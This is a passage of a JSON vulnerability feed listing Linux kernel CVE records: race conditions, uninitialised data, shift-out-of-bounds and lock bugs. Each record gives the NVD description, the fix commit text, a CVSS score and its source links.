2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63942","cveId":"CVE-2026-63942","aliases":[],"kind":"vulnerability","title":"Linux kernel: parport: Fix race between port and client registration","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nparport: Fix race between port and client registration\n\nThe parport subsystem registers port devices before they are fully\ninitialised, resulting in a race condition where client drivers such\nas lp can attach to ports that are not completely initialised or even\nbeing torn down.\n\nWhen the port and client drivers are built as modules and loaded\naround the same time during boot, this occasionally results in a\ncrash.  I was able to make this happen reliably in a VM with a\nPC-style parallel port by patching parport_pc to fail probing:\n\n> --- a/drivers/parport/parport_pc.c\n> +++ b/drivers/parport/parport_pc.c\n> @@ -2069,7 +2069,7 @@ static struct parport *__parport_pc_probe_port(unsigned long int base,\n>  \tif (!p)\n>  \t\tgoto out3;\n>\n> -\tbase_res = request_region(base, 3, p->name);\n> +\tbase_res = NULL;\n>  \tif (!base_res)\n>  \t\tgoto out4;\n>\n\nand then running:\n\n    while true; do\n        modprobe lp & modprobe parport_pc\n\twait\n\trmmod lp parport_pc\n    done\n\nfor a few seconds.\n\nIn the long term I think port registration should be changed to put\nthe call to device_add() inside parport_announce_port(), but since the\nlatter currently cannot fail this will require changing all port\ndrivers.\n\nFor now, add a flag to indicate whether a port has been \"announced\"\nand only try to attach client drivers to ports when the flag is set.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nparport: Fix race between port and client registration\n\nThe parport subsystem registers port devices before they are fully\ninitialised, resulting in a race condition where client drivers such\nas lp can attach to ports that are not completely initialised or even\nbeing torn down.\n\nWhen the port and client drivers are built as modules and loaded\naround the same time during boot, this occasionally results in a\ncrash.  I was able to make this happen reliably in a VM with a\nPC-style parallel port by patching parport_pc to fail probing:\n\n> --- a/drivers/parport/parport_pc.c\n> +++ b/drivers/parport/parport_pc.c\n> @@ -2069,7 +2069,7 @@ static struct parport *__parport_pc_probe_port(unsigned long int base,\n>  \tif (!p)\n>  \t\tgoto out3;\n>\n> -\tbase_res = request_region(base, 3, p->name);\n> +\tbase_res = NULL;\n>  \tif (!base_res)\n>  \t\tgoto out4;\n>\n\nand then running:\n\n    while true; do\n        modprobe lp & modprobe parport_pc\n\twait\n\trmmod lp parport_pc\n    done\n\nfor a few seconds.\n\nIn the long term I think port registration should be changed to put\nthe call to device_add() inside parport_announce_port(), but since the\nlatter currently cannot fail this will require changing all port\ndrivers.\n\nFor now, add a flag to indicate whether a port has been \"announced\"\nand only try to attach client drivers to ports when the flag is set.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T16:17:12.747Z","updatedAt":"2026-10-26T13:35:00.073Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63942","asOf":"2026-10-26T13:35:00.073Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63942","type":"primary","publishedAt":"2026-07-19T16:17:12.747Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63870","cveId":"CVE-2026-63870","aliases":[],"kind":"vulnerability","title":"Linux kernel: ieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()\n\nThe aoe driver (or similar) generates a non-IPv6 packet\n(e.g., ETH_P_AOE) and queues it for transmission via dev_queue_xmit()\non a 6LoWPAN interface (configured by the user or test case).\n\nSince the packet is not IPv6, the 6LoWPAN header_ops->create function\n(lowpan_header_create or header_create) returns early without initializing\nthe lowpan_addr_info structure in the skb headroom.\n\nIn the transmit function (lowpan_xmit), the driver calls lowpan_header\n(or setup_header) which unconditionally copies and uses the lowpan_addr_info\nfrom the headroom, which contains uninitialized data.\n\nFix this by dropping non IPv6 packets.\n\nA similar fix is needed in net/bluetooth/6lowpan.c bt_xmit().","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nieee802154: 6lowpan: only accept IPv6 packets in lowpan_xmit()\n\nThe aoe driver (or similar) generates a non-IPv6 packet\n(e.g., ETH_P_AOE) and queues it for transmission via dev_queue_xmit()\non a 6LoWPAN interface (configured by the user or test case).\n\nSince the packet is not IPv6, the 6LoWPAN header_ops->create function\n(lowpan_header_create or header_create) returns early without initializing\nthe lowpan_addr_info structure in the skb headroom.\n\nIn the transmit function (lowpan_xmit), the driver calls lowpan_header\n(or setup_header) which unconditionally copies and uses the lowpan_addr_info\nfrom the headroom, which contains uninitialized data.\n\nFix this by dropping non IPv6 packets.\n\nA similar fix is needed in net/bluetooth/6lowpan.c bt_xmit().\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.990Z","updatedAt":"2026-10-26T16:42:56.280Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63870","asOf":"2026-10-26T16:42:56.280Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63870","type":"primary","publishedAt":"2026-07-19T15:16:53.990Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63869","cveId":"CVE-2026-63869","aliases":[],"kind":"vulnerability","title":"Linux kernel: wifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap\n\nWhen parsing the radiotap header of an injected frame,\nieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value\ndirectly as a shift count:\n\n\tinfo->control.antennas |= BIT(*iterator.this_arg);\n\n*iterator.this_arg is an 8-bit value taken straight from the frame\nsupplied by userspace, so BIT() can be asked to shift by up to 255. That\nis undefined behaviour on the unsigned long and is reported by UBSAN:\n\n  UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30\n  shift exponent 235 is too large for 64-bit type 'unsigned long'\n  Call Trace:\n   ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174\n   ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451\n   ...\n   packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109\n\ninfo->control.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna\nindices 0 and 1 can ever be represented. Ignore any larger value instead\nof shifting out of bounds.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: limit injected antenna index in ieee80211_parse_tx_radiotap\n\nWhen parsing the radiotap header of an injected frame,\nieee80211_parse_tx_radiotap() uses the IEEE80211_RADIOTAP_ANTENNA value\ndirectly as a shift count:\n\n\tinfo->control.antennas |= BIT(*iterator.this_arg);\n\n*iterator.this_arg is an 8-bit value taken straight from the frame\nsupplied by userspace, so BIT() can be asked to shift by up to 255. That\nis undefined behaviour on the unsigned long and is reported by UBSAN:\n\n  UBSAN: shift-out-of-bounds in net/mac80211/tx.c:2174:30\n  shift exponent 235 is too large for 64-bit type 'unsigned long'\n  Call Trace:\n   ieee80211_parse_tx_radiotap+0xadb/0x1950 net/mac80211/tx.c:2174\n   ieee80211_monitor_start_xmit+0xb1f/0x1250 net/mac80211/tx.c:2451\n   ...\n   packet_sendmsg+0x3eb6/0x50f0 net/packet/af_packet.c:3109\n\ninfo->control.antennas is a 2-bit bitmap (u8 antennas:2), so only antenna\nindices 0 and 1 can ever be represented. Ignore any larger value instead\nof shifting out of bounds.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.873Z","updatedAt":"2026-10-26T16:42:20.487Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63869","asOf":"2026-10-26T16:42:20.487Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63869","type":"primary","publishedAt":"2026-07-19T15:16:53.873Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63867","cveId":"CVE-2026-63867","aliases":[],"kind":"vulnerability","title":"Linux kernel: mptcp: close TOCTOU race while computing rcv_wnd","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: close TOCTOU race while computing rcv_wnd\n\nThe MPTCP output path access locklessly the MPTCP-level ack_seq\nin multiple times, using possibly different values for the data_ack\nin the DSS option and to compute the announced rcv wnd for the same\npacket.\n\nRefactor the cote to avoid inconsistencies which may confuse the\npeer. Also ensure that the MPTCP level rcv wnd is updated only when\nthe egress packet actually contains a DSS ack.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: close TOCTOU race while computing rcv_wnd\n\nThe MPTCP output path access locklessly the MPTCP-level ack_seq\nin multiple times, using possibly different values for the data_ack\nin the DSS option and to compute the announced rcv wnd for the same\npacket.\n\nRefactor the cote to avoid inconsistencies which may confuse the\npeer. Also ensure that the MPTCP level rcv wnd is updated only when\nthe egress packet actually contains a DSS ack.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.617Z","updatedAt":"2026-10-26T16:49:22.910Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63867","asOf":"2026-10-26T16:49:22.910Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63867","type":"primary","publishedAt":"2026-07-19T15:16:53.617Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63866","cveId":"CVE-2026-63866","aliases":[],"kind":"vulnerability","title":"Linux kernel: wifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()\n\nClear WCID pointer removing the sta link in mt7996_mac_sta_deinit_link\nroutine.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7996: Clear wcid pointer in mt7996_mac_sta_deinit_link()\n\nClear WCID pointer removing the sta link in mt7996_mac_sta_deinit_link\nroutine.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.517Z","updatedAt":"2026-10-26T16:51:04.883Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63866","asOf":"2026-10-26T16:51:04.883Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63866","type":"primary","publishedAt":"2026-07-19T15:16:53.517Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63865","cveId":"CVE-2026-63865","aliases":[],"kind":"vulnerability","title":"Linux kernel: bpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks\n\nbpf_lsm_task_to_inode() is called under rcu_read_lock() and\nbpf_lsm_inet_conn_established() is called from softirq context, so\nneither hook can be used by sleepable LSM programs.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Drop task_to_inode and inet_conn_established from lsm sleepable hooks\n\nbpf_lsm_task_to_inode() is called under rcu_read_lock() and\nbpf_lsm_inet_conn_established() is called from softirq context, so\nneither hook can be used by sleepable LSM programs.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.400Z","updatedAt":"2026-10-26T16:51:32.163Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63865","asOf":"2026-10-26T16:51:32.163Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63865","type":"primary","publishedAt":"2026-07-19T15:16:53.400Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63864","cveId":"CVE-2026-63864","aliases":[],"kind":"vulnerability","title":"Linux kernel: bpf: Propagate error from visit_tailcall_insn","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Propagate error from visit_tailcall_insn\n\nCommit e40f5a6bf88a (\"bpf: correct stack liveness for tail calls\") added\nvisit_tailcall_insn() but did not check its return value.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Propagate error from visit_tailcall_insn\n\nCommit e40f5a6bf88a (\"bpf: correct stack liveness for tail calls\") added\nvisit_tailcall_insn() but did not check its return value.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.303Z","updatedAt":"2026-10-26T16:55:46.360Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63864","asOf":"2026-10-26T16:55:46.360Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63864","type":"primary","publishedAt":"2026-07-19T15:16:53.303Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63863","cveId":"CVE-2026-63863","aliases":[],"kind":"vulnerability","title":"Linux kernel: drm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()\n\nThere is a unbalanced lock/unlock to gpusvm notifier lock:\n[  931.045868] =====================================\n[  931.046509] WARNING: bad unlock balance detected!\n[  931.047149] 6.19.0-rc6+xe-**************** #9 Tainted: G     U\n[  931.048150] -------------------------------------\n[  931.048790] kworker/u5:0/51 is trying to release lock (&gpusvm->notifier_lock) at:\n[  931.049801] [<ffffffffa090c0d8>] drm_gpusvm_scan_mm+0x188/0x460 [drm_gpusvm_helper]\n[  931.050802] but there are no more locks to release!\n[  931.051463]\n\nThe drm_gpusvm_notifier_unlock() sits under err_free label and the\nfirst jump to err_free is just before calling the\ndrm_gpusvm_notifier_lock() causing unbalanced unlock.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/gpusvm: Fix unbalanced unlock in drm_gpusvm_scan_mm()\n\nThere is a unbalanced lock/unlock to gpusvm notifier lock:\n[  931.045868] =====================================\n[  931.046509] WARNING: bad unlock balance detected!\n[  931.047149] 6.19.0-rc6+xe-**************** #9 Tainted: G     U\n[  931.048150] -------------------------------------\n[  931.048790] kworker/u5:0/51 is trying to release lock (&gpusvm->notifier_lock) at:\n[  931.049801] [<ffffffffa090c0d8>] drm_gpusvm_scan_mm+0x188/0x460 [drm_gpusvm_helper]\n[  931.050802] but there are no more locks to release!\n[  931.051463]\n\nThe drm_gpusvm_notifier_unlock() sits under err_free label and the\nfirst jump to err_free is just before calling the\ndrm_gpusvm_notifier_lock() causing unbalanced unlock.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-07-19T15:16:53.200Z","updatedAt":"2026-10-26T17:00:22.240Z","regions":["Global"],"vendor":"linux","product":"linux kernel","stacks":["Linux kernel","linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63863","asOf":"2026-10-26T17:00:22.240Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63863","type":"primary","publishedAt":"2026-07-19T15:16:53.200Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63858","cveId":"CVE-2026-63858","aliases":[],"kind":"vulnerability","title":"Linux kernel: netfilter: nf_tables: add hook transactions for device deletions","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: add hook transactions for device deletions\n\nRestore the flag that indicates that the hook is going away, ie.\nNFT_HOOK_REMOVE, but add a new transaction object to track deletion\nof hooks without altering the basechain/flowtable hook_list during\nthe preparation phase.\n\nThe existing approach that moves the hook from the basechain/flowtable\nhook_list to transaction hook_list breaks netlink dump path readers\nof this RCU-protected list.\n\nIt should be possible use an array for nft_trans_hook to store the\ndeleted hooks to compact the representation but I am not expecting\nmany hook object, specially now that wildcard support for devices\nis in place.\n\nNote that the nft_trans_chain_hooks() list contains a list of struct\nnft_trans_hook objects for DELCHAIN and DELFLOWTABLE commands, while\nthis list stores struct nft_hook objects for NEWCHAIN and NEWFLOWTABLE.\nNote that new commands can be updated to use nft_trans_hook 